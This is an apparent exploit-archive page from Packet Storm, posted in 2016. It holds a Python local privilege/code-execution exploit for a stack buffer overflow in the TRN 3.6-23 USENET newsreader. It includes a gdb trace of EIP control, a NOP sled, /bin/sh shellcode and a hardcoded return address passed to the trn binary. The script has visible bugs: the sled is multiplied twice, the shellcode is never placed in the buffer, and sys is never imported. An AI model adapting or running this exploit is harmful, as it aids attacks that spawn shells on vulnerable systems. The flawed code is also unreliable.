Twenty Year Anniversary

TRN Threaded Reader 3.6-23 Stack Buffer Overflow

TRN Threaded Reader 3.6-23 Stack Buffer Overflow
Posted May 4, 2016
Authored by Juan Sacco

Threaded USENET news reader version 3.6-23 suffers from a stack buffer overflow vulnerability.

tags | exploit, overflow
MD5 | 230e12370ffd77d4f8766e1818e41104

TRN Threaded Reader 3.6-23 Stack Buffer Overflow

Change Mirror Download
# Exploit developed using Exploit Pack v5.4
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
jsacco@exploitpack.com
# Program affected: Threaded USENET news reader
# Version: 3.6-23
#
# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org
# Program description: Threaded USENET news reader, based on rn
# trn is the most widely-used newsreader on USENET
# Kali Linux 2.0 package: pool/non-free/t/trn/trn_3.6-23_i386.deb
# MD5sum: 57782e66c4bf127af0d252db9439fbdf
# Website: https://sourceforge.net/projects/trn/
#
# gdb$ run $(python -c 'print "A"*156+"DCBA"')
# Starting program: /usr/bin/trn $(python -c 'print "A"*156+"DCBA"')
#
# Program received signal SIGSEGV, Segmentation fault.
# --------------------------------------------------------------------------[regs]
# EAX: 0x00000000 EBX: 0x41414141 ECX: 0x00000000 EDX: 0x0809040C
o d I t S z a p c
# ESI: 0x41414141 EDI: 0x41414141 EBP: 0x41414141 ESP: 0xBFFFED60
EIP: 0x41424344
# CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError
while running hook_stop:
# Cannot access memory at address 0x41424344
# 0x41424344 in ?? ()
'''

import os, subprocess

def run():
try:
print "# TRN Threaded Reader - Stack Buffer Overflow by Juan Sacco"
print "# This Exploit has been developed using Exploit Pack"
# NOPSLED + SHELLCODE + EIP

buffersize = 160
nopsled = "\x90"*132
shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
eip = "\xd0\xec\xff\xbf"
buffer = nopsled * (buffersize-len(shellcode)) + eip
subprocess.call(["trn ",' ', buffer])

except OSError as e:
if e.errno == os.errno.ENOENT:
print "Sorry, Threaded Reader - Not found!"
else:
print "Error executing exploit"
raise

def howtousage():
print "Snap! Something went wrong"
sys.exit(-1)

if __name__ == '__main__':
try:
print "Exploit TRN 3.6-23 Local Overflow Exploit"
print "Author: Juan Sacco - Exploit Pack"
except IndexError:
howtousage()
run()

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    26 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    15 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    15 Files
  • 6
    Oct 6th
    2 Files
  • 7
    Oct 7th
    3 Files
  • 8
    Oct 8th
    23 Files
  • 9
    Oct 9th
    16 Files
  • 10
    Oct 10th
    15 Files
  • 11
    Oct 11th
    19 Files
  • 12
    Oct 12th
    16 Files
  • 13
    Oct 13th
    2 Files
  • 14
    Oct 14th
    2 Files
  • 15
    Oct 15th
    15 Files
  • 16
    Oct 16th
    20 Files
  • 17
    Oct 17th
    19 Files
  • 18
    Oct 18th
    21 Files
  • 19
    Oct 19th
    16 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close